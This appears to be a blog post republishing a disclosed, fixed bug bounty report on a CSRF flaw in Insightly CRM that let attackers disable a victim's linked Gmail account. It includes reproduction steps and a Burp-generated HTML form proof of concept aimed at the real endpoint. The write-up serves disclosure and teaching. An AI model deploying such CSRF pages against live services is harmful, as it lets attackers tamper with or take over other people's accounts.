CSRF漏洞分析:攻击者可禁用Gmail联系人链接的用户推荐功能

本文详细分析了Insightly平台存在的CSRF漏洞,攻击者可利用该漏洞禁用用户的Gmail联系人链接,包含完整的漏洞复现步骤、PoC代码和影响分析,展示了从漏洞发现到修复的完整过程。

CSRF漏洞分析:攻击者可禁用Gmail联系人链接的用户推荐功能

漏洞报告 #1668489

时间线

  • 2022年8月13日:khaledx向Insightly提交漏洞报告
  • 2022年10月-2023年10月:多次询问修复进展
  • 2023年10月25日:Insightly奖励赏金并邀请复测
  • 2024年1月4日:漏洞修复完成,报告关闭
  • 2025年8月20日:报告公开披露

漏洞详情

漏洞描述

当用户通过https://crm.na1.insightly.com/users/referrals添加推荐到其账户时,会获得关联账户的ID。当用户在"连接应用设置"中尝试禁用关联账户时,端点https://crm.na1.insightly.com/users/usersettings会发送包含ID的请求到https://crm.na1.insightly.com/Users/GoogleDisable/2023554

该易受攻击的端点允许认证用户更改与其账户关联的电子邮件地址并移除(禁用)它,但未能充分验证请求是否由用户有意执行(例如通过检查HTTP头值)。

复现步骤

  1. 需要两个测试账户A和B
  2. 访问https://crm.na1.insightly.com/users/referrals为两个账户添加Google推荐
  3. 关联账户将获得两个不同的ID
  4. 从账户A访问https://crm.na1.insightly.com/users/usersettings,尝试禁用关联账户并使用Burp代理捕获请求
  5. 使用禁用请求生成PoC
  6. 当账户B打开链接时,漏洞将被利用

概念验证(PoC)代码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://crm.na1.insightly.com/Users/GoogleDisable/2026462">
      <input type="hidden" name="_pjax" value="#main" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

当发送请求时,ID会自动更改,导致受害者关联账户被禁用。

影响

攻击者可利用此漏洞禁用账户链接或通过将账户与攻击者控制的地址关联来接管账户,然后执行密码重置。要使攻击成功,目标用户账户必须与未确认的电子邮件地址关联,且目标用户必须在登录时访问攻击者控制的网站。

修复验证

2023年10月25日:复测结果显示无法再复现该漏洞,修复有效。

漏洞信息

  • 报告ID:#1668489
  • 状态:已解决
  • 严重程度:中等(4.2)
  • 弱点类型:跨站请求伪造(CSRF)
  • CVE ID:无
  • 赏金:隐藏
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计